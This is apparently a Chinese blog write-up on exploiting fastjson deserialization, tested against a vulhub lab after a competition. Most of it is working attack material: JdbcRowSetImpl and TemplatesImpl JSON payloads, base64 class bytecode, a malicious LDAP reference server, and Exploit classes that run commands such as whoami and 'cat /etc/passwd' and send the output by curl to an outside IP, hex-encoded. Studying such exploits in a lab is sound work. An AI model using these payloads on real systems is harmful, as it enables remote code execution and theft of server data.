fastjson 反序列化漏洞利用总结

比赛遇到了，一直没利用成功，这里做个记录。

环境搭建

首先用 vulhub 搭建 fastjson 的漏洞环境。

漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析。

漏洞利用

首先我们需要确认是否存在漏洞，可以采取让服务器发请求到我们的公网 vps

POST / HTTP/1.1
Host: 192.168.245.128:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://104.223.70.183:1099/Object","autoCommit":true}

方案一

没成功

来源

https://lazydog.me/post/fastjson-JdbcRowSetImpl-rce-exploit.html#3-L18

方案二

方案三

就是 vulhub 自带的一种利用方案。

首先编译 poc 得到字节码

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Poc extends AbstractTranslet {

    public Poc() throws IOException {
        Runtime.getRuntime().exec("curl http://104.223.70.183:3333/eeee");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        Poc t = new Poc();
    }
}

然后把 .class 文件做 base64 加密

import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()

修改 json 的 _bytecodes 为 刚刚生成的 base64 文本 :

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMUG9jOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcALwwAMAAxAQAkY3VybCBodHRwOi8vMTA0LjIyMy43MC4xODM6MzMzMy9lZWVlDAAyADMBAANQb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACwAEAAwADQANAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEQAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAZAAgAGgAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

发送到服务器

方案四

首先起一个 ldap 服务

package person.server;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

/**
 * LDAP server implementation returning JNDI references
 *
 * @author mbechler
 *
 */
public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] args ) {
        int port = 1389;
        if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
            System.err.println(LdapServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        }
        else if ( args.length > 1 ) {
            port = Integer.parseInt(args[ 1 ]);
        }

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

参数为

http://104.223.70.183:8000/#Exploit 389

表示获取 http://104.223.70.183:8000/Exploit.class 的内容作为 payload ， 服务监听在 389 端口。

编译 Exploit.class

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Exploit {
    public static String exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
        return sb;
    }

    public Exploit() throws Exception {
        String result = "";
        result = exec("whoami");
        String cmd = "curl http://104.223.70.183/" + result;
        throw new Exception(exec(cmd));
    }

    public static void main(String[] args) throws Exception {
        String result = "";
        result = exec("whoami");
        String cmd = "curl http://104.223.70.183/" + result;
        throw new Exception(exec(cmd));
    }
}

然后发送 poc 过去。

POST / HTTP/1.1
Host: 192.168.245.128:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 113

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://104.223.70.183:389/Exploit", "autoCommit":true}

实际利用

尝试了很多方法都反弹不了 shell , 这里给一种折中的办法，首先执行命令，然后把结果 16 进制编码，然后用 curl 传出来

import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.InputStreamReader;

public class Exploit {

    //转化字符串为十六进制编码
    public static String toHexString(String s) {
        String str = "";
        for (int i = 0; i < s.length(); i++) {
            int ch = (int) s.charAt(i);
            String s4 = Integer.toHexString(ch);
            str = str + s4;
        }
        return str;
    }

    // 转化十六进制编码为字符串
    public static String toStringHex1(String s) {
        byte[] baKeyword = new byte[s.length() / 2];
        for (int i = 0; i < baKeyword.length; i++) {
            try {
                baKeyword[i] = (byte) (0xff & Integer.parseInt(s.substring(
                        i * 2, i * 2 + 2), 16));
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        try {
            s = new String(baKeyword, "utf-8");// UTF-16le:Not
        } catch (Exception e1) {
            e1.printStackTrace();
        }
        return s;
    }

    // 转化十六进制编码为字符串
    public static String toStringHex2(String s) {
        byte[] baKeyword = new byte[s.length() / 2];
        for (int i = 0; i < baKeyword.length; i++) {
            try {
                baKeyword[i] = (byte) (0xff & Integer.parseInt(s.substring(
                        i * 2, i * 2 + 2), 16));
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        try {
            s = new String(baKeyword, "utf-8");// UTF-16le:Not
        } catch (Exception e1) {
            e1.printStackTrace();
        }
        return s;
    }

    public static void main(String[] args) {
        System.out.println(encode("中文"));
        System.out.println(decode(encode("中文")));
    }

    /*
     * 16进制数字字符集
     */
    private static String hexString = "0123456789ABCDEF";

    /*
     * 将字符串编码成16进制数字,适用于所有字符（包括中文）
     */
    public static String encode(String str) {
        // 根据默认编码获取字节数组
        byte[] bytes = str.getBytes();
        StringBuilder sb = new StringBuilder(bytes.length * 2);
        // 将字节数组中每个字节拆解成2位16进制整数
        for (int i = 0; i < bytes.length; i++) {
            sb.append(hexString.charAt((bytes[i] & 0xf0) >> 4));
            sb.append(hexString.charAt((bytes[i] & 0x0f) >> 0));
        }
        return sb.toString();
    }

    /*
     * 将16进制数字解码成字符串,适用于所有字符（包括中文）
     */
    public static String decode(String bytes) {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(
                bytes.length() / 2);
        // 将每2位16进制整数组装成一个字节
        for (int i = 0; i < bytes.length(); i += 2)
            baos.write((hexString.indexOf(bytes.charAt(i)) << 4 | hexString
                    .indexOf(bytes.charAt(i + 1))));
        return new String(baos.toByteArray());
    }

    public static String exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
        return sb;
    }

    public Exploit() throws Exception {
        String result = "";
        result = encode(exec("cat /etc/passwd"));
        String cmd = String.format("curl -d \"%s\" http://104.223.70.183/ ", result);
        throw new Exception(exec(cmd));
    }
}

参考

https://xz.aliyun.com/t/2897#toc-13
https://github.com/shengqi158/fastjson-remote-code-execute-poc